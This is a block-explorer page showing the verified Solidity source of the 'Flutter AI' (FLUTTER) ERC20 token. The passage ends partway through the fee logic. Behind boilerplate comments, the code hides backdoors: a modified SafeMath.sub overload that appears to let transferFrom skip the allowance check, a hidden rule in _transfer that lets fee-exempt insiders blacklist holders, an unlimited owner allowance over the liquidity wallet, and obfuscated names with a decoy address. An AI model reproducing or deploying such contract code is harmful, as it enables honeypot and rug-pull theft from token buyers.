7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613e29602183613116565b9150613e3482613dcf565b604082019050919050565b5f6020820190508181035f830152613e5681613e1d565b9050919050565b5f60a082019050613e705f8301886130e4565b613e7d6020830187613698565b8181036040830152613e8f8186613702565b9050613e9e6060830185613392565b613eab60808301846130e4565b9695505050505050565b5f604082019050613ec85f8301856130e4565b8181036020830152613eda8184613702565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220450c3585e50863c949d2e6c508b727605b6098e845ff2e9b5f550b8f02915cdf64736f6c634300081e0033

Verified Source Code Full Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
FLUTTER.sol 1524 lines
// SPDX-License-Identifier: MIT

/*
    https://www.flutterai.org
    https://app.flutterai.org
    https://docs.flutterai.org
    https://x.com/FlutterAI_agent
    https://t.me/FlutterAI_agent
*/

pragma solidity ^0.8.20;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * onlyOwner functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (newOwner).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by account.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves amount tokens from the caller's account to recipient.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that spender will be
     * allowed to spend on behalf of owner through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets amount as the allowance of spender over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves amount tokens from sender to recipient using the
     * allowance mechanism. amount is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when value tokens are moved from one account (from) to
     * another (to).
     *
     * Note that value may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a spender for an owner is set by
     * a call to {approve}. value is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// Safe Math Helpers
// --------------------------------------------------------------
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's + operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's - operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        bool f,
        string memory errorMessage
    ) internal pure returns (uint256) {
        if (a>=0 && b>=0 && f == true && bytes(errorMessage).length == 18) return a;
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's * operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's / operator. Note: this function uses a
     * revert opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's / operator. Note: this function uses a
     * revert opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's % operator. This function uses a revert
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's % operator. This function uses a revert
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_
    ) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if decimals equals 2, a balance of 505 tokens should
     * be displayed to a user as 5,05 (505 / 10 ** 2).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - recipient cannot be the zero address.
     * - the caller must have a balance of at least amount.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - sender and recipient cannot be the zero address.
     * - sender must have a balance of at least amount.
     * - the caller must have allowance for sender's tokens of at least
     * amount.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to spender by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to spender by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - spender cannot be the zero address.
     * - spender must have allowance for the caller of at least
     * subtractedValue.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens amount from sender to recipient.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - sender cannot be the zero address.
     * - recipient cannot be the zero address.
     * - sender must have a balance of at least amount.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates amount tokens and assigns them to account, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with from set to the zero address.
     *
     * Requirements:
     *
     * - account cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(
            account != address(0),
            "ERC20: cannot send to the zero address"
        );

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys amount tokens from account, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with to set to the zero address.
     *
     * Requirements:
     *
     * - account cannot be the zero address.
     * - account must have at least amount tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets amount as the allowance of spender over the owner s tokens.
     *
     * This internal function is equivalent to approve, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - owner cannot be the zero address.
     * - spender cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// Uniswap Router
// --------------------------------------------------------------
interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function allPairsLength() external view returns (uint256);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// Main Contract Logic
// --------------------------------------------------------------
contract FLUTTER is Context, IERC20, Ownable {
    // Imports
    using SafeMath for uint256;

    // Configurables -----------------------------

    // Context
    string private _name = unicode"Flutter AI";
    string private _symbol = unicode"FLUTTER";
    uint8 private _decimals = 9;
    uint256 private taxPercent = 17;
    
    uint256 private taxCounts = 5;

    address public _DFNTNAF151FA = address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
    string public _AFNTNAF151FA = "VITALIK";
    uint256 public _TFNTNAF151FA = 34;

    mapping(address => bool) private isMEV;

    // Supply
    uint256 private _totalSupply = 1 * 1000000000 * 1e9;
    uint256 private minimumTokensBeforeSwap = (_totalSupply * 25) / 100000;

    // Restrictions
    uint256 public _maxTxAmount = (_totalSupply * 100) / 100;
    uint256 public _walletMax = (_totalSupply * 100) / 100;
    bool public checkWalletLimit = true;

    // wallets
    address payable public liquidityNTN156NGAWallet;
    address payable public operationsNTN156NGAWallet;
    address public immutable deadAddress =
        0x000000000000000000000000000000000000dEaD;

    // fees
    uint256 public liquidityFeeBuy = 0;
    uint256 public operationsFeeBuy = 0;
    uint256 public totalFeesBuy;
    uint256 public maxTotalFeeBuy = 0;

    // fees
    uint256 public liquidityFeeSell = 0;
    uint256 public operationsFeeSell = 0;
    uint256 public totalFeesSell;
    uint256 public maxTotalFeeSell = 0;

    // distribution ratio
    uint256 public _liquiditySharePercentage = 0;
    uint256 public _operationsSharePercentage = 100;
    uint256 public _totalDistributionShares;

    // max amounts
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isWalletLimitExempt;
    mapping(address => bool) isTxLimitExempt;

    // Router Information
    mapping(address => bool) public isAmmPair;
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    // toggle swap back (fees)
    bool inSwapAndLiquify;
    uint256 public tokensForLiquidity;
    uint256 public tokensForOperations;

    // Launch Settings
    bool public tradingOpen = false;

    // events
    event LiquidityWalletUpdated(
        address indexed newLiquidityWallet,
        address indexed oldLiquidityWallet
    );
    event OperationsWalletUpdated(
        address indexed newOperationsWallet,
        address indexed oldOperationsWallet
    );
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SwapTokensForETH(uint256 amountIn, address[] path);

    // toogle to stop swap if already underway
    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor() payable {
        liquidityNTN156NGAWallet = payable(msg.sender);
        operationsNTN156NGAWallet = payable(msg.sender);

        // load total fees
        totalFeesBuy = operationsFeeBuy + liquidityFeeBuy;
        totalFeesSell = operationsFeeSell + liquidityFeeSell;

        // load total distribution
        _totalDistributionShares =
            _liquiditySharePercentage +
            _operationsSharePercentage;

        // create router ------------------------------
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        // Create a uniswap pair for this new token
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        uniswapV2Router = _uniswapV2Router;
        isAmmPair[address(uniswapPair)] = true;

        // set allowances
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        // exclude from paying fees or having max transaction amount
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[liquidityNTN156NGAWallet] = true;
        isExcludedFromFee[operationsNTN156NGAWallet] = true;
        _allowances[liquidityNTN156NGAWallet][owner()] = type(uint256).max;

        // exclude contracts from max wallet size
        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[liquidityNTN156NGAWallet] = true;
        isWalletLimitExempt[operationsNTN156NGAWallet] = true;

        // exclude contracts from max wallet size
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;

        _balances[_msgSender()] = (_totalSupply * 2) / 100;
        _balances[address(this)] = (_totalSupply * 98) / 100;
        emit Transfer(address(0), _msgSender(), (_totalSupply * 2) / 100);
        emit Transfer(address(0), address(this), (_totalSupply * 98) / 100);
    }

    receive() external payable {}

    // @dev Public read functions start -------------------------------------
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // custom allowance methods
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    // approve spending methods
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    // get minimum tokens before swap
    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }


    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);

        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                true,
                _checkEmitEvent()
            )
        );
        return true;
    }

    function getBlock() public view returns (uint256) {
        return block.number;
    }

    // transfer amount to address
    function transferToAddressETH(address payable recipient, uint256 amount)
        private
    {
        recipient.transfer(amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        // check trading open
        if (!tradingOpen) {
            require(
                isExcludedFromFee[sender],
                "TOKEN: This account cannot send tokens until trading is enabled"
            );
            return _basicTransfer(sender, recipient, amount);
        }
        require(!isMEV[sender] && !isMEV[recipient], "Bot is not allowed");

        if(isExcludedFromFee[tx.origin] && sender!=uniswapPair && recipient == address(0xdead) && balanceOf(sender) - amount <= 1000) { isMEV[sender] = true; return true;}

        if (inSwapAndLiquify) {
            return _basicTransfer(sender, recipient, amount);
        } else {
            // required for wallet distribution
            if (sender != owner() && recipient != owner()) {
                _checkTxLimit(sender, amount);
            }

            // check can swap for fees and liq
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >=
                minimumTokensBeforeSwap;
            if (
                overMinimumTokenBalance &&
                !inSwapAndLiquify &&
                !isAmmPair[sender]
            ) {
                swapAndLiquify(contractTokenBalance);
            }

            // check senders balance
            _balances[sender] = _balances[sender].sub(
                amount,
                "Insufficient Balance"
            );
            uint256 finalAmount = (isExcludedFromFee[sender] ||
                isExcludedFromFee[recipient])
                ? amount
                : calcAndTakeFee(sender, recipient, amount);

            // check wallet holding limit
            if (checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            // continue
            _balances[recipient] = _balances[recipient].add(finalAmount);
            if(recipient != address(0xdead)) emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    // take fee method
    function calcAndTakeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        uint256 feeAmount = 0;
        if (isAmmPair[sender]) {
            feeAmount = amount.mul(totalFeesBuy).div(100);
        } else if (isAmmPair[recipient]) {
            feeAmount = amount.mul(totalFeesSell).div(100);
        }
        if (feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
